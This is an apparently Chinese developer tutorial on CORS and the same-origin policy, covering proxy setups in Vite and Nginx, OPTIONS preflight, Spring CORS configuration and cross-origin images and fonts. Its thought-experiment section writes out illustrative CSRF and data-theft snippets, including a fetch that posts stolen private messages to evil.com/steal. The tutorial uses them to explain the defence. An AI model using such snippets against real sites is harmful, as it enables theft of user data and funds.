0. 写在前面
先说几个我踩过的坑,看看你有没有同感:
- Postman、curl 都能通,一换浏览器就跨域
- GET 好好的,改成 DELETE 突然就报错了
- 前端开发时打开 F12,Network 里根本看不到真实的后端 IP
如果这些都碰到过,这篇就是写给你看的。
说明一下:文中出现的 IP、端口都是我本地环境,你照着自己机器换就行。
1. 先搞懂"同源"
同源就是协议、域名、端口三个全一样,缺一不可。
text
https://a.com:443/api
├─ protocol: https ✅
├─ host: a.com ✅
└─ port: 443 ✅
下面这几个都算"不同源":
text
http://a.com ❌ 协议不同
https://api.a.com ❌ 域名不同
https://a.com:8080 ❌ 端口不同
你可以把同源策略理解成小区门禁:你住 A 栋(前端),默认不能随便进 B 栋(后端)拿东西。

2. 为什么 Postman 能通,浏览器不行
这个误解太常见了。其实不是后端拦的,而是后端回了、浏览器把响应扔了。
关键区别看这张图: 
- curl / Postman 不是浏览器,根本不走同源策略,所以畅通无阻
- 浏览器里由 JS 发起的请求,必须经过 CORS 检查
- 很多时候请求已经到了后端,甚至逻辑都执行完了,只是浏览器不让 JS 读响应
所以排查的第一步永远是:先用 curl / Postman 确认后端本身是好的。
3. F12 里为什么看不到后端 IP
开发时用的是 Vite,请求链路其实是这样的:
浏览器只跟 Vite 打交道,后面的转发对它完全透明。所以你在 Network 里看到的是:
text
http://localhost:5173/api/scenery/list
而不是真实的后端地址。Vite 在这里就相当于一个中间人。
想确认代理有没有生效,可以在 vite.config.js 里加点日志:
javascript
// vite.config.js
proxy: {
'/api': {
target: 'http://172.16.1.163:8080',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, ''),
configure: (proxy) => {
proxy.on('proxyReq', (proxyReq, req) => {
console.log('代理转发:', req.url, '→', proxyReq.path);
});
}
}
}
终端里能看到 代理转发: /api/scenery/list → /scenery/list,说明转发成功了。
可以看到,Vite 和 Nginx 在转发这件事情上,本质一样
text
浏览器 → 代理 → 后端
浏览器只跟代理说话,代理负责把请求转给后端,再把响应拿回来。浏览器从头到尾看不到后端真实地址,所以"同源"了,CORS 不触发。
Vite 开发服务器 和 Nginx 在这一层上,角色完全相同。
4. 如果没有同源策略会怎样
很多人觉得跨域只是报个错,好像无所谓。我们做个思想实验:假设浏览器完全没有同源策略。
前提:evil.com 是恶意网站,bank.com 是你登录过的银行,两者源不同,正常情况下被隔离。没有这层隔离,下面三种攻击都能真实发生。
案例一:钱被悄悄转走
你登录了 https://bank.com,Cookie 还在。这时打开 https://evil.com:
javascript
fetch('https://bank.com/api/transfer', {
method: 'POST',
credentials: 'include', // Cookie 自动带上
body: JSON.stringify({ to: 'attacker', amount: 1000000 })
})
100 万直接转走,你完全无感。这就是 CSRF。
CSRF,全称 Cross-Site Request Forgery,中文叫跨站请求伪造
案例二:私信、邮件被扒光
javascript
fetch('https://mail.com/api/private-messages')
.then(res => res.json())
.then(data => {
// 把你的私信发到攻击者自己的服务器
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
更麻烦的是攻击者还能用你的身份发消息、改密码、删数据,因为 Cookie 会自动随请求发送。
案例三:Cookie / Token 被读写
没有同源策略时,evil.com 不仅能读,还能写:
javascript
document.cookie; // 能读到 bank.com 的 Cookie
document.cookie = "session=伪造的; domain=.bank.com"; // 还能篡改
攻击者拿到登录凭证,就能完全冒充你。现实中这类攻击就是 XSS + 缺少同源隔离的经典组合。
三个案例本质是一样的:
| 案例 | 攻击方式 | 后果 |
|---|---|---|
| 一 | 冒充你发起请求 | 资金损失、数据被删 |
| 二 | 读取私密数据 | 隐私泄露 |
| 三 | 窃取/篡改身份凭证 | 身份被冒用 |
所以 CORS 不是来烦你的,是来保命的。它的原则就一句话:默认拒绝,显式授权。你想从 A 读 B 的数据?可以,但必须 B 明确点头(返回 CORS 头)才行。
5. DELETE 为什么跨域,GET 却没事
先把浏览器处理跨域的完整流程说清楚:

什么是简单请求
要成为"简单请求",三个条件必须同时满足:
- 方法只能是
GET/HEAD/POST Content-Type只能是text/plain、application/x-www-form-urlencoded、multipart/form-data三者之一- 不能带自定义请求头(如
Authorization、X-Requested-With)
三条全中 → 简单请求,不预检。
什么是非简单请求
只要触发以下任意一条就是非简单请求:
- 方法不是 GET/HEAD/POST(PUT、DELETE、PATCH 等)
Content-Type是application/json、application/xml等非表单类型- 带了自定义请求头
触发任意一条 → 非简单请求,必须先发 OPTIONS 预检。
常见场景对照:
| 请求方式 | 是否简单 | 是否预检 |
|---|---|---|
| GET,无自定义头 | ✅ | ❌ |
POST,application/x-www-form-urlencoded |
✅ | ❌ |
POST,application/json |
❌ | ✅ |
GET,带 Authorization 头 |
❌ | ✅ |
| DELETE | ❌ | ✅ |
| PUT | ❌ | ✅ |
回到标题的问题
DELETE 属于非简单请求,浏览器会先发 OPTIONS 问后端:"你允许 DELETE 吗?"
如果后端没正确处理 OPTIONS,或者响应头里缺了:
text
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Origin: *
浏览器就拦截真实请求,控制台报 CORS 错误。
所以 DELETE 跨域报错,多半是:
- 后端没处理 OPTIONS 预检
- 响应头缺
Access-Control-Allow-Methods: DELETE - 根本没配 CORS
而 GET 默认是简单请求,不用预检,只要后端带了 Access-Control-Allow-Origin 就能正常返回。
但要注意:GET 不一定永远不跨域。 一旦带了自定义头,比如:
javascript
fetch('https://api.example.com/data', {
headers: { 'Authorization': 'Bearer xxx' }
})
GET 也变成非简单请求了,同样会预检、同样会报错。
更准确的表述应该是:
不是"GET 不跨域、DELETE 跨域",而是"简单请求不预检,非简单请求必预检"。DELETE 一定是非简单请求,GET 多数情况下是,但带了自定义头就不是了。
6. OPTIONS 预检长什么样
浏览器自动发的预检请求:
http
OPTIONS /api/orders/123 HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization
后端必须这样回:
http
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Max-Age: 3600
不回的话,浏览器直接一句 Blocked by CORS policy。
7. 我踩过的坑
先放一张我的部署架构:

我当时想当然以为:"Nginx 都反向代理了,肯定同源,CORS 不用配。"结果:
text
浏览器 DELETE /api/orders/123 → 403
curl DELETE /api/orders/123 → 204
真相只有一句:Nginx 反向代理 ≠ 自动解决 CORS。
前端访问的域名和后端允许的来源对不上,浏览器照样拦。
排查过程:
第一步:确认后端逻辑没问题
bash
curl -X DELETE http://127.0.0.1:8680/api/orders/123 -v
# 返回 204,说明后端逻辑是通的
第二步:看浏览器 Console
text
Access to fetch at 'http://192.168.9.115:3680/api/orders/123'
from origin 'http://192.168.9.14'
has been blocked by CORS policy:
Method DELETE is not allowed by Access-Control-Allow-Methods.
第三步:定位原因
Spring Boot 默认的 CORS 配置只放行 GET、POST、HEAD,不包含 DELETE、PUT。浏览器发 OPTIONS 预检时后端没明确允许 DELETE,于是被拦。
8. 跨域三大解法
按"在哪一层解决"来分,看这张总图:

一句话记忆:要么让浏览器以为同源(代理),要么让服务器明确放行(CORS)。
方案一:开发环境用 Vite 代理(推荐)
javascript
// vite.config.js
server: {
proxy: {
'/api': {
target: 'http://172.16.1.163:8080',
changeOrigin: true,
rewrite: p => p.replace(/^\/api/, '')
}
}
}
前端请求 /api/data,Vite 转发到后端,浏览器看到的是同源请求,不触发 CORS。
注意几点:
- 代理只在
npm run dev下生效 - 生产环境(Nginx 托管)下代理配置无效
axios的baseURL可定义公共路径前缀
方案二:生产环境用 Nginx 同域代理
nginx
location /api/ {
proxy_pass http://127.0.0.1:8680/;
proxy_set_header Host $host;
}
前端访问 https://example.com/api/...,浏览器认为是同源,不触发 CORS。
如果前端和后端是不同域名,还需要在 Nginx 加 CORS 响应头:
nginx
location /api/ {
add_header 'Access-Control-Allow-Origin' '*' always;
add_header 'Access-Control-Allow-Methods' 'GET,POST,PUT,DELETE,OPTIONS' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type,Authorization' always;
if ($request_method = 'OPTIONS') {
return 204;
}
proxy_pass http://127.0.0.1:8680/api/;
}
方案三:后端配置 CORS(跨域部署时)
Spring MVC 方式:
java
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOriginPatterns("*")
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
.allowedHeaders("*")
.allowCredentials(true)
.maxAge(3600);
}
}
Spring WebFlux 方式(响应式栈):
java
@Configuration
public class CorsConfig {
private static final String MAX_AGE = "18000";
@Bean
public WebFilter corsFilter() {
return (ServerWebExchange ctx, WebFilterChain chain) -> {
ServerHttpRequest request = ctx.getRequest();
if (!CorsUtils.isCorsRequest(request)) {
return chain.filter(ctx);
}
HttpHeaders requestHeaders = request.getHeaders();
ServerHttpResponse response = ctx.getResponse();
HttpHeaders headers = response.getHeaders();
headers.add(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, requestHeaders.getOrigin());
headers.addAll(HttpHeaders.ACCESS_CONTROL_ALLOW_HEADERS,
requestHeaders.getAccessControlRequestHeaders());
HttpMethod requestMethod = requestHeaders.getAccessControlRequestMethod();
if (requestMethod != null) {
headers.add(HttpHeaders.ACCESS_CONTROL_ALLOW_METHODS, requestMethod.name());
}
headers.add(HttpHeaders.ACCESS_CONTROL_ALLOW_CREDENTIALS, "true");
headers.add(HttpHeaders.ACCESS_CONTROL_EXPOSE_HEADERS, "*");
headers.add(HttpHeaders.ACCESS_CONTROL_MAX_AGE, MAX_AGE);
if (request.getMethod() == HttpMethod.OPTIONS) {
response.setStatusCode(HttpStatus.OK);
return Mono.empty();
}
return chain.filter(ctx);
};
}
}
不要 Nginx 配一套、后端又配一套,否则响应头可能出现:
text
Access-Control-Allow-Origin: a.com, b.com
浏览器根本没法处理,直接报错。
安全建议
生产环境不要用 *。
java
// ❌ 不安全:任何网站都能调你的 API
.allowedOriginPatterns("*")
// ✅ 指定具体域名
.allowedOrigins(
"http://your-domain.com",
"https://your-domain.com"
)
有个细节:当 Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能写 *,必须指定具体源,否则浏览器会拒绝响应。
实际项目里常用"动态回显 Origin"的做法:取请求的 Origin 判断是否在白名单里,命中就原样返回。这样既支持携带 Cookie,又比 * 安全。
9. 排查跨域的标准步骤
- 确认后端逻辑正常:先用 curl 测接口
- 看浏览器 Console:F12 → Console,读 CORS 错误信息
- 看 Network:F12 → Network,检查 OPTIONS 预检是否成功
- 看服务器日志:Nginx 和后端都查一下
验证预检请求:
bash
curl -X OPTIONS http://your-domain.com/api/orders/test \
-H "Origin: http://your-domain.com" \
-H "Access-Control-Request-Method: DELETE" \
-v
正常的话响应头应包含:
http
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
10. 番外:跨域不止是接口
前面讲的都是 API 的跨域(fetch / axios / XHR),但跨域的边界比这广得多:只要浏览器加载跨源资源,都可能触发 CORS 或安全限制。
图片、字体、视频、音频、Canvas 绘图、WebGL 纹理、Worker 脚本都在内。其中最容易踩坑的就是图片跨域。
10.1 图片是怎么"跨域"的
很多人以为 <img> 随便引不会跨域,其实只对了一半:
| 使用方式 | 是否受 CORS 限制 |
|---|---|
<img> 直接显示 |
❌ |
CSS background-image |
❌ |
用 JS 画到 <canvas> 上 |
✅ |
读取 <img> 像素数据 |
✅ |
| 转 Base64 / Blob / 像素操作 | ✅ |
<img src="http://其它域名/1.jpg"> 能正常显示,就像你看邻居家的海报,浏览器允许。但你想用 JS 把海报拓印到 canvas 上再读像素,这就相当于复制,浏览器会要求 CORS 头。
典型报错:
text
Access to image at 'http://xxx/1.jpg' from origin 'http://localhost:5173'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present.
触发代码:
javascript
const img = new Image();
img.src = 'http://172.16.1.163:8080/photo.jpg';
img.onload = () => {
ctx.drawImage(img, 0, 0);
ctx.getImageData(0, 0, w, h); // 读像素 → 报错
};
解决办法:给图片带上 CORS 凭证。
javascript
const img = new Image();
img.crossOrigin = 'anonymous'; // 以 CORS 方式请求
img.src = 'http://172.16.1.163:8080/photo.jpg';
// 后端 / Nginx 也要返回 Access-Control-Allow-Origin
只有加了
crossOrigin,浏览器才会对图片发带 CORS 头的请求;后端也要配合返回允许头,否则照样报错。
10.2 字体、视频、Worker
- Web 字体(@font-face) :跨域加载字体要求
Access-Control-Allow-Origin,否则不渲染,Firefox 尤其严格 - 视频 / 音频 :
<video>播放一般不限制,但用 MediaSource / Canvas 捕获帧时会受限 - Web Worker / SharedWorker:跨域加载脚本会被拒绝
css
@font-face {
font-family: 'MyFont';
src: url('http://cdn.example.com/myfont.woff2') format('woff2');
}
Nginx 里给静态资源统一加头:
nginx
location ~* \.(woff2?|ttf|eot|otf)$ {
add_header 'Access-Control-Allow-Origin' '*' always;
}
10.3 实战:本地打开 HTML 时图片怎么显示
我们使用AI,生成一些html页面时,常常碰到这样的问题:图片显示不出来
其实是因为,图片也存在跨域问题
同一个 HTML 用不同方式打开,结论完全不同。目录结构假设如下:
matlab
project/
├── index.html
├── images/
│ └── cat.jpg
└── app.js
两种引入方式:
html
<img src="images/cat.jpg" />
<img src="http://localhost:5173/images/cat.jpg" />
实验一:双击 index.html(file:// 协议)
此时源是 null,属于最特殊的场景:
| 引入方式 | 能否显示 | 说明 |
|---|---|---|
相对路径 images/cat.jpg |
✅ | 和 HTML 同目录,file:// 下默认放行 |
绝对路径 http://localhost:5173/... |
❌ | 从 null 源访问 http:// 源,跨域 |
远程绝对路径 https://xxx.com/cat.jpg |
❌ | 同上,还受远程服务器 CORS 控制 |
核心认知:file:// 下相对路径是同目录文件访问,能用;一旦写成指向 http(s) 的绝对路径,就变成跨源请求,受 CORS 限制。
实验二:本地服务器打开(http://localhost:5173)
用 npx http-server / vite / live-server 启动后访问:
| 引入方式 | 能否显示 | canvas 读像素 |
|---|---|---|
| 相对路径 | ✅ | ✅ |
| 同域绝对路径 | ✅ | ✅ |
远程 https://xxx.com/cat.jpg |
✅ | ❌ |
实验三:部署到服务器
| 场景 | 能否显示 | canvas 读像素 |
|---|---|---|
同源 https://mysite.com/img/cat.jpg |
✅ | ✅ |
| 跨域 CDN(无 CORS 头) | ✅ | ❌ |
| 跨域 CDN(有 CORS 头 + crossOrigin) | ✅ | ✅ |
三种打开方式对比:
| 打开方式 | 页面 Origin | 相对路径本地图 | 指向 localhost | 指向远程 |
|---|---|---|---|---|
| 双击(file://) | null |
✅ | ❌ | ❌ |
| 本地服务器 | http://localhost:5173 |
✅ | ✅ | ❗ 显示可 / 读像素 ❌ |
| 生产服务器 | https://mysite.com |
✅ | ✅ | ❗ 同上 |
判断图片会不会跨域,三步:
- 看页面 Origin 是什么(file:// ? localhost ? 域名 ?)
- 看图片地址相对谁(相对路径 = 跟着页面走,基本同源)
- 看你要拿图片干什么(只显示宽松;canvas / 像素 / 复制严格,必须 CORS)
10.4 常见报错与解法
报错 1:canvas 读像素被拦
text
Uncaught SecurityError: The canvas has been tainted by cross-origin data.
解法:img.crossOrigin = 'anonymous',并确保图片服务器返回 CORS 头。
报错 2:file:// 下请求 http 资源失败
text
Blocked loading mixed active content / CORS
解法:别用 file:// 直接开发,起一个本地服务器(vite / http-server),让页面和图片同源。
报错 3:字体不生效(尤其 Firefox)
解法:CDN / 字体服务器返回 Access-Control-Allow-Origin。
10.5 最佳实践清单
- 开发阶段:用 Vite / http-server 起本地服务,不要双击 HTML,避开 file:// 的跨域陷阱
- 图片只做展示 :
<img>/background-image跨域一般没问题 - 图片要 canvas 处理 / 转 Base64 / 读像素 :必须
img.crossOrigin = 'anonymous'+ 服务器 CORS 头 - 能用相对路径就用相对路径:部署后天然同源
- CDN 图片 :确保 CDN 配了
Access-Control-Allow-Origin,前端加crossOrigin - 字体文件:CDN 字体务必返回 CORS 头,否则 Firefox 下不渲染
10.6 跨域的完整边界
CORS 影响的远不止 API,用一张图梳理:
- API 请求:fetch / axios、XHR
- 静态资源:图片、字体、视频、音频、canvas 读像素
- JS / Worker:跨域脚本、Web Worker
- DOM / 存储:iframe 跨域访问、localStorage、cookie
一句话:凡是有跨源读取/操作的地方,就有 CORS 的影子。
速记口诀:
- 只看不读 (
<img>显示、<video>播放)→ 宽松 - 要读/复制/操作(canvas 像素、字体解析、Worker)→ 严格,必须 CORS 头
- DOM / 存储 (iframe、cookie)→ 需同域或
postMessage/ 显式授权
11. 总结
CORS 不是"请求发不出去",而是:
- 浏览器问:这个响应 JS 能不能读?
- 后端答:这个 Origin 我认不认?
记住三句话就够了:
- 同源策略是浏览器在保护用户
- 代理是让浏览器误以为同源
- CORS 是后端给浏览器发的访客通行证